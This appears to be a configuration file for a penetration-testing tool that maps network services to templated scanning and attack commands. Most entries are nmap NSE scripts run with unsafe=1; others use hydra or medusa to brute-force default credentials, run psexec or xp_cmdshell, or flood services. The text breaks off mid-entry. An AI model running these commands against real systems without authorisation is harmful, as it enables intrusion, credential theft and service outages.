ftp credentials, hydra -s [PORT] -C ./wordlists/ftp-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] ftp, ftp +ftp-libopie.nse=ftp-libopie.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-libopie.nse --script-args=unsafe=1", ftp +ftp-proftpd-backdoor.nse=ftp-proftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-proftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vsftpd-backdoor.nse=ftp-vsftpd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vsftpd-backdoor.nse --script-args=unsafe=1", ftp +ftp-vuln-cve2010-4221.nse=ftp-vuln-cve2010-4221.nse, "nmap -Pn [IP] -p [PORT] --script=ftp-vuln-cve2010-4221.nse --script-args=unsafe=1", ftp +http-adobe-coldfusion-apsa1301.nse=http-adobe-coldfusion-apsa1301.nse, "nmap -Pn [IP] -p [PORT] --script=http-adobe-coldfusion-apsa1301.nse --script-args=unsafe=1", "http,https" +http-affiliate-id.nse=http-affiliate-id.nse, "nmap -Pn [IP] -p [PORT] --script=http-affiliate-id.nse --script-args=unsafe=1", "http,https" +http-apache-negotiation.nse=http-apache-negotiation.nse, "nmap -Pn [IP] -p [PORT] --script=http-apache-negotiation.nse --script-args=unsafe=1", "http,https" +http-auth-finder.nse=http-auth-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth-finder.nse --script-args=unsafe=1", "http,https" +http-auth.nse=http-auth.nse, "nmap -Pn [IP] -p [PORT] --script=http-auth.nse --script-args=unsafe=1", "http,https" +http-awstatstotals-exec.nse=http-awstatstotals-exec.nse, "nmap -Pn [IP] -p [PORT] --script=http-awstatstotals-exec.nse --script-args=unsafe=1", "http,https" +http-axis2-dir-traversal.nse=http-axis2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-axis2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-backup-finder.nse=http-backup-finder.nse, "nmap -Pn [IP] -p [PORT] --script=http-backup-finder.nse --script-args=unsafe=1", "http,https" +http-barracuda-dir-traversal.nse=http-barracuda-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-barracuda-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-brute.nse=http-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-brute.nse --script-args=unsafe=1", "http,https" +http-cakephp-version.nse=http-cakephp-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-cakephp-version.nse --script-args=unsafe=1", "http,https" +http-chrono.nse=http-chrono.nse, "nmap -Pn [IP] -p [PORT] --script=http-chrono.nse --script-args=unsafe=1", "http,https" +http-coldfusion-subzero.nse=http-coldfusion-subzero.nse, "nmap -Pn [IP] -p [PORT] --script=http-coldfusion-subzero.nse --script-args=unsafe=1", "http,https" +http-comments-displayer.nse=http-comments-displayer.nse, "nmap -Pn [IP] -p [PORT] --script=http-comments-displayer.nse --script-args=unsafe=1", "http,https" +http-config-backup.nse=http-config-backup.nse, "nmap -Pn [IP] -p [PORT] --script=http-config-backup.nse --script-args=unsafe=1", "http,https" +http-cors.nse=http-cors.nse, "nmap -Pn [IP] -p [PORT] --script=http-cors.nse --script-args=unsafe=1", "http,https" +http-csrf.nse=http-csrf.nse, "nmap -Pn [IP] -p [PORT] --script=http-csrf.nse --script-args=unsafe=1", "http,https" +http-date.nse=http-date.nse, "nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" +http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" +http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" +http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" +http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" +http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" +http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" +http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" +http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" +http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" +http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" +http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" +http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" +http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" +http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" +http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" +http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" +http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" +http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" +http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" +http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" +http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" +http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" +http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" +http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" +http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" +http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" +http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" +http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" +http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" +http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" +http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" +http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" +http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" +http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" +http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" +http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" +http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" +http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" +http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" +http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" +http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" +http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" +http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" +http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" +http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" +http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" +http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" +http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" +http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" +http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" +http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" +http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" +http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" +http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" +http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" +http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" +http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" +http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" +http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" +http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" +http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" +http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" +http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" +http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" +http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" +http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" +http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" +http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" +http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" +http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" +http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" +http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" +http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" +imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap +imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap +irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc +irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc +irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc +irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc +irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc +ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap +membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" +ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql +ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql +ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql +ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql +ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql +ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql +ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql +ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql +ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql +ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql +msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc +mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s +mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql +mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql +mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql +mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql +mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql +mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql +mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql +mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql +mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql +mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql +mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql +mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql +nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns +nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs +nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs +nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs +nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" +nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], +oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle +oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle +oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' +oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle +oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns +polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" +pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 +pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server +realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc +riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" +rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind +rwho=Run rwho, rwho -a [IP], who +samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba +samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" +showmount=Show nfs shares, showmount -e [IP], nfs +smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb +smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb +smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" +smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb +smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb +smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb +smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb +smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb +smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" +smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb +smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb +smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb +smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb +smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" +smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb +smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb +smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb +smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb +smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb +smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb +smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb +smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb +smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" +smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb +smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp +smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp +smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp +smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp +smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp +smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp +smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp +snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" +snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] 